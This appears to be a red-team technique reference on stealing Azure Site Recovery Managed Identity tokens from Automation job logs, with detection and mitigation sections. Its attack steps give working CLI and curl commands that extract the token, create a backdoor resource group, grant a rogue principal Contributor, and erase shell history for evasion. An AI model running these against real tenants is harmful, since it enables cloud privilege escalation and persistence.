| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-022 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, Azure Hybrid Environments |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2024-04-29 |
| Affected Versions | Azure Site Recovery (ASR) deployments with Extension Auto-Update enabled (all versions prior to February 2024 patch) |
| Patched In | February 13, 2024 (Microsoft remediation released) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Site Recovery (ASR) automatically creates a hidden Automation Account with a System-Assigned Managed Identity to manage extension updates on enrolled Virtual Machines. When Extension Auto-Update is enabled, ASR executes a hidden Runbook that exposes cleartext access tokens in Job output logs. An attacker with Reader or similar lower-privileged roles can extract these tokens and impersonate the Managed Identity, which carries Contributor permissions over the entire subscription. This enables unrestricted lateral movement within Azure, resource manipulation, and credential theft.
Attack Surface: Azure portal Job output logs within Automation Accounts created by ASR; accessible to any user with /read or Microsoft.Automation/automationAccounts/jobs/output/read permissions.
Business Impact: Privilege escalation from Reader to Subscription Contributor. An attacker can create persistent backdoors, steal encryption keys, deploy malicious workloads, exfiltrate data, or disrupt disaster recovery infrastructure.
Technical Context: The vulnerability exists because ASR’s Runbook Job output was visible in the Azure Portal even though the Runbook itself is hidden. Extraction takes seconds; the token is valid until the Managed Identity credentials rotate (typically 24+ hours). Detection is difficult because the activity appears as routine ASR automation.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.23 | Managed identities should be used for authentication to Azure services; Automation Account roles should follow least privilege |
| DISA STIG | V-252998 | Role-Based Access Control (RBAC) must be configured with minimum necessary privileges |
| CISA SCuBA | AC-3 | Access Enforcement - Restrict system access to authorized users and roles only |
| NIST 800-53 | AC-3, AC-6 | Access Enforcement, Least Privilege |
| GDPR | Art. 32 | Security of Processing - Implement appropriate access controls and identity management |
| DORA | Art. 9 | Protection and Prevention - Secure authentication and authorization mechanisms |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Implement authentication and access controls |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights - Control and monitor privileged access |
| ISO 27005 | Risk Scenario | “Exposure of administrative credentials or tokens stored in logs” |
Microsoft.Automation/automationAccounts/jobs/output/read permission.Supported Versions:
Tools:
Supported Versions: All Azure Site Recovery versions (prior to Feb 2024 patch)
Objective: Discover ASR-created Automation Accounts that manage Site Recovery extensions.
Command (Azure Portal):
{VaultName}-asr-automationaccount (e.g., blogASR-c99-asr-automationaccount)Expected Output:
What This Means:
OpSec & Evasion:
Troubleshooting:
Microsoft.Automation/automationAccounts/jobs/output/read permissionReferences & Proofs:
Objective: Extract the cleartext Managed Identity access token from hidden Runbook Job output.
Command (Azure Portal - Step-by-Step):
MS-SR-Update-MobilityServiceForA2AVirtualMachinesMS-ASR-Modify-AutoUpdateForA2AVirtualMachines"token" or "access_token"Expected Output:
{
"authentication": {
"type": "ManagedIdentity",
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkN0VHVoTUifQ.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzAzZjY2ZTM3LWRlZjAtNDMzYS1hMDQ1LWE1ZWY5Njc0ZGQyNi8iLCJpYXQiOjE3MTM2Mzk0ODUsIm5iZiI6MTcxMzYzOTQ4NSwiZXhwIjoxNzEzNzI2Mjg1LCJhaW8iOiJBWlFBIi9lLlVJSjRiSWRBTklsNWZ6LnpWMnAxzldVRnlUWjc4eWVqTVdMQUhVSXRZZ1xufQ.Xdv9Bcp...",
"objectId": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
"subscriptionId": "/subscriptions/12345678-1234-1234-1234-123456789012"
}
}
What This Means:
objectId corresponds to the Managed Identity Enterprise Application in Entra IDexp claim) is typically 60 minutes from issue time; can be used immediatelyOpSec & Evasion:
READ operation in Activity LogTroubleshooting:
References & Proofs:
Objective: Confirm token validity and enumerate high-value resources accessible via the Managed Identity.
Command (Azure CLI):
# Decode the JWT token to verify claims
jwt_token="<PASTE_TOKEN_FROM_STEP_2>"
echo $jwt_token | cut -d'.' -f2 | base64 -d | jq .
# Example output:
# {
# "aud": "https://management.azure.com/",
# "iss": "https://sts.windows.net/03f66e37-def0-433a-a045-a5ef9674dd26/",
# "iat": 1713639485,
# "nbf": 1713639485,
# "exp": 1713726285,
# "appid": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
# "appidactsid": "1",
# "oid": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
# "sub": "f47ac10b-58cc-4372-a567-0e02b2c3d479",
# "tid": "03f66e37-def0-433a-a045-a5ef9674dd26",
# "uti": "Xdv9BcpAR0OQnrx5zV2p1zQ",
# "ver": "1.0"
# }
# List all resources accessible to the Managed Identity
curl -H "Authorization: Bearer $jwt_token" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
Expected Output:
{
"value": [
{
"id": "/subscriptions/12345678-1234-1234-1234-123456789012",
"subscriptionId": "12345678-1234-1234-1234-123456789012",
"tenantId": "03f66e37-def0-433a-a045-a5ef9674dd26",
"displayName": "Production Subscription",
"state": "Enabled",
"subscriptionPolicies": {...}
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Supported Versions: Azure CLI 2.0+ with automation extension
Objective: Establish authenticated session to Azure subscription.
Command:
# Login to Azure (interactive browser)
az login
# Set subscription context
az account set --subscription "12345678-1234-1234-1234-123456789012"
# Verify authentication
az account show
Expected Output:
{
"environmentName": "AzureCloud",
"homeTenantId": "03f66e37-def0-433a-a045-a5ef9674dd26",
"id": "12345678-1234-1234-1234-123456789012",
"isDefault": true,
"name": "Production Subscription",
"state": "Enabled",
"tenantId": "03f66e37-def0-433a-a045-a5ef9674dd26",
"user": {
"name": "attacker@company.onmicrosoft.com",
"type": "user"
}
}
OpSec & Evasion:
az login is logged as interactive sign-in in Azure Sign-in logsaz login --service-principal -u <client_id> -p <client_secret> --tenant <tenant_id>Troubleshooting:
Objective: Query all Automation Accounts and filter for ASR-created ones.
Command:
# List all Automation Accounts in subscription
az automation account list --query "[].{Name:name, ResourceGroup:resourceGroup, Location:location}" --output table
# Filter for ASR-specific accounts
az automation account list --query "[?contains(name, 'asr')].{Name:name, ResourceGroup:resourceGroup}" --output table
# Get details of specific ASR Automation Account
asr_account="blogASR-c99-asr-automationaccount"
asr_rg="production-rg"
az automation account show --resource-group $asr_rg --name $asr_account
Expected Output:
Name ResourceGroup Location
----------------------------------- ---------------- ----------
blogASR-c99-asr-automationaccount production-rg eastus
What This Means:
Objective: Retrieve full (untruncated) access token from Runbook Job output.
Command:
asr_account="blogASR-c99-asr-automationaccount"
asr_rg="production-rg"
# List all jobs in the Automation Account
az automation job list --resource-group $asr_rg --automation-account-name $asr_account \
--query "[].{JobId:id, Name:name, Status:status, CreatedTime:createdTime}" --output table
# Get the most recent job
latest_job=$(az automation job list --resource-group $asr_rg --automation-account-name $asr_account \
--query "sort_by([*], &createdTime)[-1].id" -o tsv)
# Retrieve full job output (including cleartext token)
az automation job-stream list --resource-group $asr_rg --automation-account-name $asr_account \
--job-id $(basename $latest_job) --output json | jq '.[] | select(.streamType=="Output")'
Expected Output:
{
"id": "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/production-rg/providers/Microsoft.Automation/automationAccounts/blogASR-c99-asr-automationaccount/jobs/12345678-abcd-1234-5678-123456789012/streams/12345678-abcd-1234-5678-123456789012",
"creationTime": "2024-04-29T10:23:45.123456Z",
"jobId": "12345678-abcd-1234-5678-123456789012",
"runbookName": "MS-SR-Update-MobilityServiceForA2AVirtualMachines",
"streamType": "Output",
"text": "{\"authentication\": {\"type\": \"ManagedIdentity\", \"token\": \"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkN0VHVoTUifQ.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzAzZjY2ZTM3LWRlZjAtNDMzYS1hMDQ1LWE1ZWY5Njc0ZGQyNi8iLCJpYXQiOjE3MTM2Mzk0ODUsIm5iZiI6MTcxMzYzOTQ4NSwiZXhwIjoxNzEzNzI2Mjg1LCJhaW8iOiJBWlFBIi9lLlVJSjRiSWRBTklsNWZ6LnpWMnAxzldVRnlUWjc4eWVqTVdMQUhVSXRZZ1xufQ.Xdv9BcpAR0OQnrx5zV2p1zWwk7yUJKL9hM2nQ3rT4sZ...\"}"
}
What This Means:
text field contains the full, untruncated JWT tokenOpSec & Evasion:
history -c (bash) or Clear-History (PowerShell)Troubleshooting:
Microsoft.Automation/automationAccounts/jobStreams/read permissionObjective: Authenticate as the Managed Identity to access and manipulate Azure resources.
Command:
# Extract token from job output (Python one-liner)
token=$(az automation job-stream list --resource-group $asr_rg --automation-account-name $asr_account \
--job-id $(basename $latest_job) --output json | jq -r '.[] | select(.streamType=="Output") | .text' | \
python3 -c "import sys, json; print(json.load(sys.stdin)['authentication']['token'])")
# Example: List all VMs in the subscription (as the Managed Identity)
curl -s -H "Authorization: Bearer $token" \
"https://management.azure.com/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Compute/virtualMachines?api-version=2023-03-01" | jq '.value[].{name:.name, location:.location, vmId:.id}'
# Example: Create a new resource group (persistence backdoor)
curl -s -X PUT \
-H "Authorization: Bearer $token" \
-H "Content-Type: application/json" \
-d '{"location":"eastus"}' \
"https://management.azure.com/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/attacker-backdoor-rg?api-version=2021-04-01"
# Example: Assign Contributor role to a rogue service principal
curl -s -X PUT \
-H "Authorization: Bearer $token" \
-H "Content-Type: application/json" \
-d '{
"properties": {
"roleDefinitionId": "/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Authorization/roleDefinitions/b24988ac-6180-42a0-ab88-20f7382dd24c",
"principalId": "00000000-0000-0000-0000-000000000000"
}
}' \
"https://management.azure.com/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Authorization/roleAssignments/$(uuidgen)?api-version=2021-04-01-preview"
Expected Output:
{
"value": [
{
"id": "/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/production-rg/providers/Microsoft.Compute/virtualMachines/prod-vm-001",
"name": "prod-vm-001",
"type": "Microsoft.Compute/VirtualMachine",
"location": "eastus",
"properties": {...}
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Microsoft.Automation/automationAccounts/jobs/output/readRegistry/System: No local registry indicators; activity is cloud-only.
management.azure.com with Bearer tokens; no specific port/IP indicators.Microsoft.Automation/automationAccounts/jobs/output/read operations# Revoke Managed Identity role assignment
$managedIdentityId = "f47ac10b-58cc-4372-a567-0e02b2c3d479" # From token's 'oid' claim
$subscriptionId = "12345678-1234-1234-1234-123456789012"
Remove-AzRoleAssignment -ObjectId $managedIdentityId -RoleDefinitionName "Contributor" -Scope "/subscriptions/$subscriptionId"
# KQL query for Microsoft Sentinel
AzureActivity
| where OperationName == "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/WRITE"
| where InitiatedBy.user.id == "f47ac10b-58cc-4372-a567-0e02b2c3d479"
| where TimeGenerated > ago(24h)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-VALID-001] Default Credential Exploitation | Attacker gains initial Reader role via inherited permissions or weak account |
| 2 | Privilege Escalation | [LM-AUTH-022] | Extract ASR Managed Identity token from Job output; escalate to Contributor |
| 3 | Persistence | [CA-UNSC-008] Azure Storage Account Key Theft | Use Contributor token to extract storage account keys; create backdoor function apps |
| 4 | Defense Evasion | [CA-TOKEN-007] Managed Identity Token Theft | Compromise application MSI for continued access independent of ASR lifecycle |
| 5 | Impact | Data exfiltration or ransomware deployment via compromised VMs |
Disable Extension Auto-Update on ASR Deployments:
ASR deployments with Extension Auto-Update enabled are vulnerable. Disabling this feature prevents creation of the vulnerable Automation Account.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Disable auto-update for all replicated VMs in a vault
$vault = Get-AzRecoveryServicesVault -ResourceGroupName "production-rg" -Name "prod-recovery-vault"
Set-AzRecoveryServicesAsrVaultContext -Vault $vault
Get-AzRecoveryServicesAsrReplicationProtectedItem | ForEach-Object {
Set-AzRecoveryServicesAsrReplicationProtectedItem -InputObject $_ -UpdateReplicationAgent $false
}
Validation Command:
# Verify auto-update is disabled
Set-AzRecoveryServicesAsrVaultContext -Vault $vault
Get-AzRecoveryServicesAsrReplicationProtectedItem | Select-Object Name, ReplicationHealth, ProtectionState, @{Name="AutoUpdateEnabled";Expression={$_.Properties.UpdateReplicationAgentExpectedVersion -ne $null}}
Expected Output (If Secure):
Name ReplicationHealth ProtectionState AutoUpdateEnabled
---- -------- --------------- -----------------
prod-vm-001 Normal Protected False
prod-vm-002 Normal Protected False
Restrict Automation Account Role Scope:
If Extension Auto-Update must remain enabled, restrict the Managed Identity to minimal necessary permissions.
Manual Steps (Azure Portal):
Validation Command:
$managedIdentityId = "f47ac10b-58cc-4372-a567-0e02b2c3d479"
Get-AzRoleAssignment -ObjectId $managedIdentityId | Select-Object RoleDefinitionName, Scope
Expected Output (If Secure):
RoleDefinitionName Scope
------------------ -----
Virtual Machine Contributor /subscriptions/.../resourceGroups/production-vms
Enforce Conditional Access for Service Principals:
Restrict service principal API calls to specific IP ranges and disable interactive sign-in.
Manual Steps (Azure Portal):
Block Service Principal Interactive Sign-InEnable Audit Logging for Automation Accounts:
Log all Job output access for forensic analysis.
Manual Steps (Azure Portal):
audit-job-outputJobStreams and JobOutputPowerShell Configuration:
$vault = Get-AzRecoveryServicesVault -Name "prod-recovery-vault"
$workspace = Get-AzOperationalInsightsWorkspace -ResourceGroupName "security-rg" -Name "sentinel-workspace"
New-AzDiagnosticSetting -ResourceId "$vault.id/providers/Microsoft.Automation/automationAccounts/asr-account" `
-Name "audit-job-output" `
-WorkspaceId $workspace.ResourceId `
-Enabled $true `
-Category JobStreams, JobOutput
Severity: High
KQL Query:
AzureActivity
| where OperationName == "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/JOBS/OUTPUT/READ"
| where CallerIpAddress != "40.74.28.0/24" // Microsoft internal IP range - adjust as needed
| project TimeGenerated, Caller, CallerIpAddress, ResourceGroup, OperationName, ResourceProvider
| join kind=inner (
AzureActivity
| where OperationName =~ "MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/READ"
| project Caller
| distinct Caller
) on Caller
What This Detects: A user with Reader role (or similar low-privilege role) accessing hidden ASR Job output containing tokens.
Manual Configuration (Azure Portal):
ASR Token Extraction DetectionHighDetects low-privilege users reading ASR Job output containing cleartext tokensEvery 5 minutes1 hourSeverity: Critical
KQL Query:
AzureActivity
| where InitiatedBy.user.id == "f47ac10b-58cc-4372-a567-0e02b2c3d479" // ASR MSI object ID
| where OperationName !in ("MICROSOFT.COMPUTE/VIRTUALMACHINES/READ",
"MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/READ",
"MICROSOFT.COMPUTE/VIRTUALMACHINES/EXTENSIONS/WRITE") // Normal ASR operations
| where ActivityStatus == "Success"
| project TimeGenerated, OperationName, ResourceGroup, Resource, ActivityStatus, Caller
What This Detects: The ASR Managed Identity performing operations outside its normal scope (extension management).
Not applicable – This is a cloud-only attack with no on-premises event log indicators.
Not applicable – This is a cloud-only attack with no endpoint-level indicators.
Alert Name: Service Principal performing unusual role assignment operations
Manual Configuration (Enable Defender for Cloud):
# Connect to Exchange Online (required for audit log access)
Connect-ExchangeOnline
# Search for ASR Automation Account operations
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) `
-Operations "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/JOBS/OUTPUT/READ" `
-FreeText "asr-automationaccount" |
Select-Object UserIds, CreationDate, Operations, ResourceId |
Export-Csv -Path "C:\Evidence\asr-token-access.csv"
# Search for Automation Account job creation/execution
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) `
-AuditLogRecordType AzureActivity `
-Operations "CreateJob", "UpdateJob" |
Export-Csv -Path "C:\Evidence\asr-job-operations.csv"
Manual Configuration (Enable Unified Audit Log):
This technique exploits a design flaw in Azure Site Recovery’s Extension Auto-Update feature, where cleartext Managed Identity tokens are exposed in Automation Account Job output logs. The vulnerability allows any user with Reader or equivalent permissions to extract tokens granting Contributor access over the entire subscription, enabling unrestricted lateral movement and resource manipulation. The attack requires minimal effort, leaves minimal forensic traces, and was only patched in February 2024, leaving many legacy deployments vulnerable.
Key Indicators for Defenders: